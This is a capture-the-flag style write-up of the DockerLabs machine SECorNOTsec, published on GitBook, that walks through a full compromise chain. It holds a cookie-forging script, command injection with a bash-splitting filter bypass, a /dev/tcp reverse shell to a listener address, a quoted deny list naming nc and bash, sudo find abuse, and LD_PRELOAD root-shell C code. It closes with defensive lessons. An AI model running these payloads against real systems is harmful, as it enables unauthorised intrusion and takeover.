> For the complete documentation index, see [llms.txt](https://yisus-offsec.gitbook.io/offensive-and-defensive-security/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yisus-offsec.gitbook.io/offensive-and-defensive-security/documentation/offensive-security/writeups-labs/secornotsec-dockerlabs-writeup.md).

# SECorNOTsec (DockerLabs) - Writeup

### Overview

**SECorNOTsec** is an intermediate Linux machine from DockerLabs that exposes a Python-based web application running with Werkzeug/Flask. The target implements an authentication mechanism based on encrypted cookies and includes an administrative diagnostic console that executes system commands. Due to weak cryptographic design, sensitive information disclosure, poor server-side filtering, and unsafe sudo permissions, the machine can be compromised from the web layer all the way to root.

This machine is valuable because it teaches a complete attack chain rather than a single isolated bug. The compromise is not achieved through only one vulnerability. Instead, it is the result of chaining together multiple weaknesses:

* Web enumeration
* Sensitive file exposure
* AES-CBC cookie abuse
* Cookie manipulation
* WAF bypass
* Command injection
* Reverse shell execution
* Sudo abuse
* LD\_PRELOAD privilege escalation

That makes it a very realistic training scenario. In real environments, attackers often do not find one perfect bug that instantly gives root. More often, they find several smaller weaknesses that become devastating when combined.

## Objectives

The goals of the machine are:

1. Obtain administrative access to the web application.
2. Achieve command execution on the server.
3. Gain an interactive shell.
4. Escalate privileges across local users.
5. Obtain root access.

## Skills and Techniques Demonstrated

This machine evaluates the following offensive skills:

* Web enumeration
* Directory fuzzing
* Applied cryptography analysis
* AES-CBC cookie manipulation
* Session abuse
* Command injection
* WAF bypass through obfuscation
* Reverse shell delivery
* Shell stabilization
* Sudo-based privilege escalation
* LD\_PRELOAD abuse
* Shared library hijacking
* Local privilege escalation analysis

***

## Cyber Kill Chain Mapping

Before going step by step, it is useful to frame the attack path using the **Cyber Kill Chain**, because this helps connect the technical exploitation to a structured offensive methodology.

### 1. Reconnaissance

Information gathering against the target:

* Port scanning
* Service fingerprinting
* Initial inspection of the web application
* Source code review
* Directory enumeration

### 2. Weaponization

Preparation of offensive capability:

* Creation of scripts to decrypt and encrypt cookies
* Construction of command injection payloads
* Preparation of reverse shell payload
* Development of malicious `.so` shared object for LD\_PRELOAD escalation

### 3. Delivery

Transmitting the crafted attack components to the target:

* Injecting the forged admin cookie into the browser
* Sending command injection payloads through the diagnostic panel
* Delivering the malicious shell script to disk
* Delivering the malicious shared library for local privilege escalation

### 4. Exploitation

Triggering the vulnerabilities:

* Exploiting weak cryptography
* Forging administrative privileges
* Exploiting command injection
* Exploiting sudo misconfigurations
* Exploiting LD\_PRELOAD with SETENV

### 5. Installation

Establishing foothold:

* Writing `rs.sh` to the server
* Launching a reverse shell
* Moving from web execution to an interactive shell

### 6. Command and Control

Maintaining interactive access:

* Catching the shell with Netcat
* Stabilizing the TTY for reliable control

### 7. Actions on Objectives

Completing the mission:

* Pivoting from `firstatack` to `chocolate`
* Escalating from `chocolate` to `root`
* Full system compromise

This kill-chain view is useful because it shows that the attack is not random. Every phase builds on the previous one.

## Environment Setup

Once the ZIP file is obtained, the machine is unpacked and deployed locally. The process described in your notes is:

```bash
unzip secornotsec.zip
bash auto_deploy.sh secornotsec.tar
```

After deployment, the machine becomes available at:

```
172.17.0.2
```

The deployment banner shown in your notes confirms that the vulnerable DockerLabs machine is running and that the target IP address is `172.17.0.2`. When the assessment is complete, pressing `Ctrl+C` removes the container and prevents leftover artifacts from remaining on the host system.

## Phase 1 - Reconnaissance

### Port Scanning

The first step is to identify exposed services. The commands used were:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2
nmap -sCV -p5000 172.17.0.2
```

Your scan results show:

```
PORT     STATE SERVICE VERSION
5000/tcp open  http    Werkzeug httpd 3.1.6 (Python 3.10.12)
|_http-title: Did not follow redirect to /
|_http-server-header: Werkzeug/3.1.6 Python/3.10.12
```

Only one port is exposed: **5000/tcp**, serving an HTTP application based on **Werkzeug** and **Python 3.10.12**.

### Why this matters

This result immediately tells us several important things:

* The attack surface is very narrow. There is no SSH, no FTP, no SMB, and no other obvious entry point.
* The target is web-centric, so all offensive effort should focus on the application.
* Werkzeug strongly suggests a Flask application or another Python web stack built around the Werkzeug server.
* Since the only reachable service is the web application, any eventual shell or local privilege escalation path will most likely begin from the web layer.

This is a classic example of why enumeration matters. Even a machine with just one visible service can still contain multiple layers of exploitable logic.

#### Cyber Kill Chain Relation

This belongs to **Reconnaissance**, because the attacker is gathering technical information about the target’s exposed services and identifying the likely application framework before attempting exploitation.

## Phase 2 - Initial Web Enumeration

### Accessing the Application

Browsing to:

```
http://172.17.0.2:5000/
```

shows a web application titled **Network Admin Panel**. The interface displays a diagnostic console, but the user is only a **guest**, and the application clearly states that only the administrator can perform network diagnostics. The HTML shown in your notes confirms the restricted state.

The page includes this block:

```html
<strong>ACCESO RESTRINGIDO:</strong> Solo el administrador puede realizar diagnósticos de red.
```

This tells us that the page likely contains functionality hidden behind authorization logic. In many web applications, when a restricted feature is visible but unavailable, it is worth asking whether the restriction is enforced correctly on the server side or only represented in the interface.

### Client-Side Source Inspection

Inspecting the page source reveals an extremely important comment:

`view-source:http://172.17.0.2:5000/`

```html
<!-- IMPORTANTE : Cambiar IV estático 0123456789abcdef por uno dinámico -->
```

This comment is one of the biggest clues in the entire machine.

### Why this comment is so important

For someone new to the topic, here is the simplified explanation:

* An **IV** is an **Initialization Vector** used in encryption.
* It is often used with algorithms like **AES in CBC mode**.
* The IV should normally be **random and unique**.
* If the IV is **static**, encryption becomes predictable and weaker.

The developer comment tells us all of the following:

1. The application uses encryption somewhere.
2. The developer knew a static IV was being used.
3. The developer intended to fix it, but did not.
4. The weakness may affect cookies, sessions, or some other trust mechanism.

At this point, we do not yet know exactly where the cryptography is used, but we already have a strong hypothesis: the session cookie may be encrypted in an unsafe way.

#### Cyber Kill Chain Relation

This is still **Reconnaissance**, but it is deeper application reconnaissance. The attacker is collecting implementation details from the client side and forming a hypothesis that will later become part of **Weaponization**.

## Phase 3 - Directory and File Enumeration

### Gobuster Enumeration

The next step is to fuzz for hidden routes and backup files:

```bash
gobuster dir --url http://172.17.0.2:5000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt,bak,zip,backup -t 100 -k
```

Your notes mention that high thread counts or too many simultaneous extensions can make the service unstable, so a progressive approach is recommended. That is a practical detail worth keeping in the writeup, because it shows operational awareness during enumeration.

The relevant result is:

<pre><code>login                (Status: 302) [--> /]
logout               (Status: 302) [--> /login]
<strong>env.bak              (Status: 200)
</strong>diagnose             (Status: 405)
</code></pre>

The most valuable finding is clearly:

```
/env.bak
```

### Why `env.bak` stands out

Backup files are dangerous because they frequently contain:

* environment variables
* secrets
* credentials
* debug configuration
* cryptographic keys

The `.bak` extension suggests this is not meant to be publicly exposed. In real applications, files like `.env`, `config.bak`, `settings.old`, or `backup.zip` often reveal sensitive internals.

### Retrieving the File

Requesting:

```bash
curl http://172.17.0.2:5000/env.bak
```

returns:

```python
SECRET_KEY = 'H4ckTh3Pl4n3t_26'
```

This is the turning point of the web exploitation phase.

#### Cyber Kill Chain Relation

This is still part of **Reconnaissance**, but it directly enables **Weaponization** because the attacker now has sensitive key material that can be used to construct a tailored exploit.

## Phase 4 - Cryptographic Analysis and Session Abuse

Now that the `SECRET_KEY` is exposed and the HTML comment mentioned a static IV, the session mechanism becomes the primary target.

### Hypothesis

The cookie named `user_session` is likely:

* encrypted with AES
* using the leaked `SECRET_KEY`
* possibly using the known static IV
* storing role information such as admin or guest

If that is true, then the authentication system is fundamentally broken. Instead of attacking login functionality, we can simply generate our own trusted session.

This is an excellent example of how **information leakage plus cryptographic weakness** can be more dangerous than a traditional login bypass.

### Extracting the Cookie

Using the browser’s developer tools:

* Right click → Inspect
* Storage / Application tab
* Cookies
* Identify `user_session`

The captured value from your notes is:

```
user_session=6JmCIseGBxSEntdM4LWH8kM4nu9N/RocoWVhf8o1KXtmePv1ptCw/LQUCOW1XWTK
```

Your original working script using `Crypto.Cipher.AES` and the later notes using `cryptography.hazmat` both pursue the same goal: understand the structure of the cookie and determine whether it can be forged.

### Encript\&Descrip Script

You created a script to decrypt the cookie. One version from your notes is:

{% code title="encriptdescript.py" lineNumbers="true" %}

```python
#!/usr/bin/env python3
import base64
import binascii
import argparse
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

SECRET_KEY = b'H4ckTh3Pl4n3t_26'
IV = b'0123456789abcdef'


def encrypt(plaintext: str, output_format="base64"):
    cipher = AES.new(SECRET_KEY, AES.MODE_CBC, IV)
    ciphertext = cipher.encrypt(pad(plaintext.encode(), AES.block_size))

    if output_format == "base64":
        return base64.b64encode(ciphertext).decode()
    elif output_format == "hex":
        return ciphertext.hex()


def decrypt(ciphertext_input: str):
    ciphertext_input = ciphertext_input.strip()

    # Intentar HEX
    try:
        ciphertext = bytes.fromhex(ciphertext_input)
    except ValueError:
        # Intentar Base64
        try:
            ciphertext = base64.b64decode(ciphertext_input)
        except:
            raise ValueError("Formato inválido: usa HEX o Base64")

    cipher = AES.new(SECRET_KEY, AES.MODE_CBC, IV)
    plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)

    try:
        return plaintext.decode()
    except:
        return plaintext


def main():
    parser = argparse.ArgumentParser(description="AES CBC Tool (Encrypt/Decrypt)")
    parser.add_argument("-m", "--mode", choices=["encrypt", "decrypt"], required=True,
                        help="Modo: encrypt o decrypt")
    parser.add_argument("-d", "--data", required=True,
                        help="Texto plano o ciphertext")
    parser.add_argument("-f", "--format", choices=["base64", "hex"], default="base64",
                        help="Formato de salida (solo para encrypt)")

    args = parser.parse_args()

    try:
        if args.mode == "encrypt":
            result = encrypt(args.data, args.format)
            print("[+] Ciphertext:")
            print(result)

        elif args.mode == "decrypt":
            result = decrypt(args.data)
            print("[+] Plaintext:")
            print(result)

    except Exception as e:
        print(f"[-] Error: {e}")


if __name__ == "__main__":
    main()

```

{% endcode %}

Running it reveals content containing the admin flag:

```py
python3 encriptdescript.py -m decrypt -d '6JmCIseGBxSEntdM4LWH8kM4nu9N/RocoWVhf8o1KXtmePv1ptCw/LQUCOW1XWTK'
```

Your earlier script version also fully decrypted the logical JSON content as:

```json
{"user": "guest", "is_admin": false}
```

Both findings point to the same conclusion: the session cookie stores the authorization state and the boolean `is_admin` determines access level.

### Why this is catastrophic

This means the application is trusting encrypted client data to define privilege level.

That is already bad, but it becomes much worse because:

* the secret key is exposed
* the encryption is predictable
* there is no effective integrity protection stopping us from forging admin state

In other words, the application is asking the browser to carry its own authorization decision, and then blindly trusting it.

#### Cyber Kill Chain Relation

This is the transition from **Reconnaissance** to **Weaponization**. The attacker now knows:

* the secret key
* the IV behavior
* the session structure
* the privilege field to change

That information is enough to build the exploit.

## Phase 5 - Forging an Administrator Cookie

### Goal

Change:

```json
"is_admin": false
```

to:

```json
"is_admin": true
```

and create a valid cookie that the server will accept.

### Cookie Creation Script

From your notes:

```bash
python3 encriptdescript.py -m encrypt -d '{"user": "admin", "is_admin": true}'
[+] Ciphertext:
O5zTkZpx4ew02xn/W44i7wT8viSUX8typ5427BVdwPM3r595oWoB/RLDUmDvby/F
```

### Result

After refreshing the page, the diagnostic console becomes accessible. In one of your observation paths, the UI still visually shows `guest`, but functionally you have administrator access. In the other path, the interface reflects `admin` directly. Either way, the important thing is that authorization is now bypassed and the backend accepts the manipulated session.

### Why this works

Because the application does not securely separate:

* identity
* privilege
* trust boundary

Instead, it encodes them into a reversible client-side cookie and relies on a secret that has already been leaked.

#### Cyber Kill Chain Relation

This is **Delivery** and **Exploitation**:

* **Delivery** because the malicious cookie is injected into the browser
* **Exploitation** because the weak crypto/session mechanism is being actively abused to gain admin privileges

## Phase 6 - Command Injection Discovery

With administrator access, the application now exposes the diagnostic functionality. The panel asks for an address to verify connectivity.

The next question becomes:

> How does the backend perform that diagnostic action?

Through trial, payload testing, and later source disclosure, the answer is confirmed.

### Initial Testing

Your notes show that classic separators like `;` were blocked by the application’s filter. But the ampersand operator `&` remained usable.

The proof-of-concept payload used was:

```
&id
```

This successfully produced command output, confirming that the input is injectable.

Another payload used later was:

```bash
& ls & whoami & id
```

This confirms:

* multiple commands can be chained
* command execution is happening on the server
* the shell is interpreting the input

### Why `&` is enough

For a beginner, here is the simple explanation:

If the application builds a command like:

```bash
ping -c 3 <address>
```

and you supply:

```bash
8.8.8.8 & id
```

the shell sees:

```bash
ping -c 3 8.8.8.8 & id
```

So it runs the ping command and also executes `id`.

That is command injection.

***

### Source Code Disclosure

By using command injection to read the application source:

```bash
& cat app.py
```

you obtained the relevant Python code. The critical sections are:

```python
def waf_check(payload):
    denied = [";", "&&", "||", "|", "`", "$", "(", ")", "nc", "bash", "python", "perl", "ruby"]
    for char in denied:
        if char in payload.lower():
            return False
    return True

def ping_host(address):
    if not address: return "Esperando entrada..."
    if not waf_check(address):
        return "⚠️ [WAF ALERT]: Intento de inyección o comando no permitido detectado."

    command = f"ping -c 3 {address}"
    process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
```

This confirms the vulnerability completely. The issue is not theoretical. The application is literally building a shell command with user-controlled input and passing it to `subprocess.Popen(..., shell=True)`.

### Why the WAF fails

The filter is blacklist-based. It denies:

* `;`
* `&&`
* `||`
* `|`
* backticks
* `$`
* parentheses
* a few interpreter names

But that still leaves many possibilities:

* `&`
* quoting tricks
* fragmented strings
* alternate shells
* file redirection
* whitespace and parsing abuse

This is a classic lesson in defensive design:

> A blacklist only blocks what the developer thought of.\
> An attacker only needs one thing the developer forgot.

#### Cyber Kill Chain Relation

This phase is **Exploitation**. The attacker has moved from administrative access into direct server-side code execution.

## Phase 7 - WAF Bypass Through Obfuscation

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md>" %}

The WAF blocks obvious strings such as `bash`, but not obfuscated equivalents.

### The Technique Used

From your notes, the shell name was fragmented:

```bash
b''ash
```

and also:

```bash
ba's'h
```

### Why this works

To a beginner, it may look strange, but the shell reconstructs the word correctly.

For example:

```bash
ba's'h
```

is interpreted by the shell as:

```bash
bash
```

because quoted string fragments can be concatenated during parsing.

The filter, however, performs a simple substring check against the raw input. It sees:

* `ba's'h`\
  not
* `bash`

So the filter does not trigger, but the shell still executes the intended binary.

This is why blacklist-based input filters are weak. They often inspect text literally, while the shell interprets meaning after parsing.

### Practical Effect

You can bypass the filter and still execute a bash-based reverse shell, despite `bash` being present in the deny list.

#### Cyber Kill Chain Relation

This remains part of **Exploitation**, but it is also closely tied to **Weaponization** because the attacker is crafting a payload specifically tailored to the target’s flawed defensive logic.

## Phase 8 - Reverse Shell Delivery

Once command injection is confirmed and the `bash` filter is bypassed, the next goal is to move from blind or semi-interactive command execution into a real shell.

### Listener on the Attacker Machine

First, start a listener:

```bash
nc -lvnp 1234
```

or in your other documented path:

```bash
nc -lvnp <PORT>
```

### Payload Creation on the Target

You wrote the reverse shell command into a script file using injection:

```bash
& echo 'b'a'sh -i >& /dev/tcp/192.168.248.128/1234 0>&1' > rs.sh
& chmod +x rs.sh
```

In the alternate documented flow:

```bash
&echo "b''ash -i >& /dev/tcp/<IP>/<PORT> 0>&1" > rs.sh
&chmod +x rs.sh
&b''ash rs.sh
```

Both methods achieve the same result:

1. write a shell script to disk
2. make it executable
3. execute it through obfuscated bash

### Triggering the Shell

```bash
& ba's'h ./rs.sh
```

or

```bash
&b''ash rs.sh
```

### Result

The Netcat listener receives a connection, and the shell lands as:

```
firstatack
```

Your notes confirm the interactive output:

```
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
firstatack@9eef7ead37db:/app$ whoami
firstatack
```

That is the initial foothold on the box.

#### Cyber Kill Chain Relation

This is both **Installation** and **Command and Control**:

* **Installation** because the attacker plants a shell script on the target
* **Command and Control** because the reverse connection is established back to the attacker’s listener

## Phase 9 - Shell Stabilization

A raw reverse shell is often inconvenient. Arrow keys may not work correctly, terminal output may break, and interactive programs such as `sudo`, `vi`, or `less` can behave badly.

You stabilized the shell using:

```bash
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

and in another workflow:

```bash
script /dev/null -c bash
```

Then:

```bash
Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty size
stty rows <ROWS> columns <COLUMNS>
```

### Why this matters

For someone learning, this is not cosmetic. It is operationally important.

A stabilized TTY improves:

* job control
* command editing
* terminal rendering
* interactive privilege escalation steps

Without this step, exploitation can still work, but post-exploitation becomes more frustrating and error-prone.

#### Cyber Kill Chain Relation

This is part of **Command and Control** because the attacker improves the reliability and usability of the foothold.

## Phase 10 - Privilege Escalation: `firstatack` to `chocolate`

Now that the initial shell is established, local enumeration begins.

### Checking Sudo Rights

```bash
sudo -l
```

The result for `firstatack` is:

```
User firstatack may run the following commands on 9eef7ead37db:
    (chocolate) NOPASSWD: /usr/bin/find
```

This means:

* `firstatack` can run `/usr/bin/find`
* as user `chocolate`
* without providing a password

That is extremely dangerous because `find` includes the `-exec` functionality.

### Exploit

```bash
sudo -u chocolate find . -exec /bin/bash \; -quit
```

### Result

```
chocolate
```

#### Why it works

`find` is supposed to search files. But if a user can run it with `sudo` and supply `-exec`, they can instruct it to launch another command, such as `/bin/bash`.

In effect:

* `sudo` grants the right to execute `find`
* `find` grants the ability to execute `bash`
* therefore the user gets a shell as the target identity

This is not a vulnerability in `find` itself. It is a **misconfiguration** of sudo policy.

#### Cyber Kill Chain Relation

This is **Actions on Objectives**, because the attacker is now pivoting deeper into the host, improving privileges and moving toward final compromise.

## Phase 11 - Privilege Escalation: `chocolate` to `root`

Once operating as `chocolate`, local enumeration continues.

### Checking Sudo Rights Again

```bash
sudo -l
```

The output is:

```
User chocolate may run the following commands on 9eef7ead37db:
    (root) SETENV: NOPASSWD: /usr/local/bin/syscheck
```

This is the final privilege escalation vector. It tells us:

* `chocolate` can run `/usr/local/bin/syscheck` as `root`
* no password is required
* **SETENV** is allowed

### Why `SETENV` matters

SETENV means the user can define arbitrary environment variables when invoking the sudo-allowed command.

{% embed url="<https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/>" %}

This is dangerous because some programs and loaders respect environment variables that alter runtime behavior. One of the most famous examples is:

```
LD_PRELOAD
```

That variable tells the dynamic linker to load a chosen shared library before others.

If the attacker can supply a malicious shared library, and the binary runs as root, then attacker-controlled code can run as root.

That is exactly the path exploited here.

#### Cyber Kill Chain Relation

This is the beginning of the final **Weaponization** stage for local privilege escalation. The attacker now knows the exact privileged execution context and can prepare a malicious library to hijack it.

## Phase 12 - Understanding LD\_PRELOAD

Before showing the exploit, it is important to explain the concept clearly.

### What is `LD_PRELOAD`?

`LD_PRELOAD` is an environment variable used by the dynamic linker on Linux. It tells the system:

> “Before loading the normal shared libraries, load this one first.”

That behavior exists for legitimate reasons such as:

* debugging
* testing
* custom overrides

But in an offensive context, it can be abused if:

* the attacker controls the library file
* the program runs with elevated privileges
* the environment is not sanitized or is explicitly allowed through sudo

### Why a `.so` file is used

A `.so` file is a **shared object**, which is basically a shared library used by programs at runtime.

A normal executable starts at `main()`.\
A shared library can also contain special routines that execute when it is loaded.

That is the key idea here.

Instead of trying to break the privileged binary directly, we trick the system into loading **our** library first. When that library loads, our code executes automatically.

This is a very elegant privilege escalation technique because it does not require buffer overflows or memory corruption. It abuses expected loader behavior plus unsafe sudo policy.

***

## Phase 13 - Building the Malicious Shared Library

Your notes show the full C payload:

```bash
vi /tmp/shell.c
```

{% code title="shell.c" %}

```c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__((constructor))
void root_shell() {
  if (geteuid() == 0) {
    setuid(0);
    setgid(0);
    execve("/bin/sh", NULL, NULL);
  }
}

int main() {
  puts("System Status: All systems operational.");
  return 0;
}
```

{% endcode %}

### Line-by-line explanation

#### `#include <stdio.h>`

Needed for `puts()`.

#### `#include <unistd.h>`

Needed for:

* `setuid()`
* `setgid()`
* `execve()`
* `geteuid()`

#### `#include <sys/types.h>`

Provides relevant type definitions used by system calls.

#### `__attribute__((constructor))`

This is one of the most important parts.

It tells the compiler that the function should run **automatically when the shared library is loaded**, before the main program begins normal execution.

That means we do not need to wait for the privileged program to call one of our functions. Our code runs immediately on library load.

#### `void root_shell()`

This function is the real payload.

#### `if (geteuid() == 0)`

Checks whether the effective user ID is root.\
This ensures the payload only attempts the privilege takeover when the library is actually being loaded in a root context.

#### `setuid(0); setgid(0);`

These calls set the user and group identity to root.

#### `execve("/bin/sh", NULL, NULL);`

This launches a shell.

At that moment, the process becomes a root shell.

#### `main()`

The `main()` function is not the core of the exploit. It is mostly decorative here. The real magic happens in the constructor function before `main()` is relevant.

## Phase 14 - Compiling the Shared Object

The compile command used is:

```bash
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
```

### Explanation of the flags

#### `-fPIC`

Stands for **Position Independent Code**.

Shared libraries may be loaded at different memory addresses, so they need code that can execute correctly regardless of where they are placed in memory.

#### `-shared`

Builds a shared library instead of a normal executable.

#### `-o /tmp/syscheck.so`

Sets the output filename to a shared object.

#### `-nostartfiles`

Avoids linking the usual startup files used by standard executables. For this technique, that is acceptable because the constructor is what we care about.

### Why `/tmp`

`/tmp` is writable and convenient during post-exploitation.\
It is a common place to compile or drop temporary offensive tooling.

#### Cyber Kill Chain Relation

This is clearly **Weaponization**. The attacker is building the final local exploit payload tailored specifically to the sudo policy discovered on the machine.

## Phase 15 - Triggering the LD\_PRELOAD Exploit

The final exploitation step is:

```bash
sudo LD_PRELOAD=/tmp/shell.so /usr/local/bin/syscheck
```

### What happens internally

1. `sudo` executes `/usr/local/bin/syscheck` as root.
2. Because `SETENV` is allowed, the `LD_PRELOAD` variable is preserved.
3. The dynamic linker loads `/tmp/syscheck.so` before normal libraries.
4. As soon as the library is loaded, the constructor function `root_shell()` runs.
5. The constructor sees that the effective UID is 0.
6. It calls `setuid(0)`, `setgid(0)`, and spawns `/bin/sh`.
7. A root shell is obtained.

### Result

```bash
whoami
root
```

Your notes also show the final shell in context:

```
chocolate@697b6320b1ea:/tmp$ sudo LD_PRELOAD=/tmp/shell.so /usr/local/bin/syscheck
# whoami
root
```

That completes the machine.

#### Cyber Kill Chain Relation

This is the final **Exploitation** and **Actions on Objectives** stage. The attacker has fully compromised the system and achieved the end goal: root access.

## Full Attack Chain Summary

Although you asked not to summarize away technical content, it is still useful to preserve the whole chain at the end in a compact form for learning clarity:

1. Scan target and discover only a Flask/Werkzeug web service on port 5000.
2. Visit the application and notice a restricted diagnostic console for guests.
3. Inspect page source and observe a comment mentioning a static IV.
4. Fuzz directories and discover `/env.bak`.
5. Retrieve `SECRET_KEY = 'H4ckTh3Pl4n3t_26'`.
6. Extract the `user_session` cookie from the browser.
7. Decrypt the cookie and identify the `is_admin` field.
8. Forge a new cookie with `is_admin: true`.
9. Replace the cookie in the browser and gain functional admin access.
10. Probe the diagnostic console and discover command injection through `&`.
11. Read `app.py` and confirm `shell=True` plus weak blacklist filtering.
12. Bypass the WAF using obfuscated `bash` such as `ba's'h` or `b''ash`.
13. Write and execute a reverse shell script.
14. Catch the reverse shell as `firstatack`.
15. Stabilize the shell for comfortable interaction.
16. Use `sudo -l` and discover `find` can be run as `chocolate`.
17. Abuse `find -exec` to obtain a shell as `chocolate`.
18. Run `sudo -l` again and discover `SETENV: NOPASSWD` on `/usr/local/bin/syscheck`.
19. Build a malicious shared library with a constructor that spawns a root shell.
20. Use `sudo LD_PRELOAD=... /usr/local/bin/syscheck`.
21. Obtain root.

This machine is a perfect example of chained exploitation, where each weakness opens the door to the next.

## Vulnerabilities Identified

### 1. Sensitive File Exposure

The application exposes `/env.bak`, leaking a cryptographic secret.\
This should never be web-accessible.

### 2. Weak Cryptographic Design

The application relies on:

* exposed secret key
* weak cookie handling
* static IV indications
* client-side trust of privilege state

### 3. Broken Session Security

Authorization state is stored in a reversible encrypted cookie and can be forged.

### 4. Command Injection

User input is passed into a shell command with `shell=True` and insufficient sanitization.

### 5. Ineffective WAF

The blacklist is incomplete and easily bypassed using shell parsing tricks.

### 6. Dangerous Sudo Permissions

`find` is allowed as another user without password, enabling shell execution.

### 7. LD\_PRELOAD Privilege Escalation

A root-executable binary is allowed with SETENV, making it vulnerable to shared library injection.

## Defensive Lessons

This machine teaches several important defensive lessons.

### Never expose backup files

Files like `.bak`, `.old`, `.zip`, `.env`, or `.swp` often leak secrets and should not be web-accessible.

### Never trust encrypted client-side privilege state

Even if a cookie is encrypted, that does not make it trustworthy. Sensitive authorization decisions should be enforced server-side.

### Do not use static IVs

Modern cryptographic implementations require random IVs where appropriate.

### Avoid `shell=True`

Passing user input into shell commands is extremely dangerous. Safer subprocess usage should avoid shell interpretation entirely.

### Blacklists are weak defenses

Blocking known bad strings is brittle. Attackers can obfuscate. Strong validation should be allowlist-based and context-aware.

### Review sudo rules carefully

Granting users access to powerful binaries or allowing SETENV can completely destroy host security.

## Final Thoughts

SECorNOTsec is an excellent machine because it teaches the difference between **seeing a vulnerability** and **understanding how vulnerabilities chain together**.

A beginner might focus only on the command injection and think that is the main bug. But the real lesson is bigger:

* the application leaks secrets
* the crypto design is weak
* the session model is flawed
* the filter is naïve
* the OS-level privilege model is misconfigured

Each issue alone is bad. Together, they are fatal.

This is why good offensive methodology matters. The compromise succeeds not because of one lucky guess, but because each phase is handled properly:

* enumerate carefully
* interpret clues correctly
* weaponize what you find
* exploit step by step
* escalate with purpose

And that is exactly what makes this machine such a strong training target.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://yisus-offsec.gitbook.io/offensive-and-defensive-security/documentation/offensive-security/writeups-labs/secornotsec-dockerlabs-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
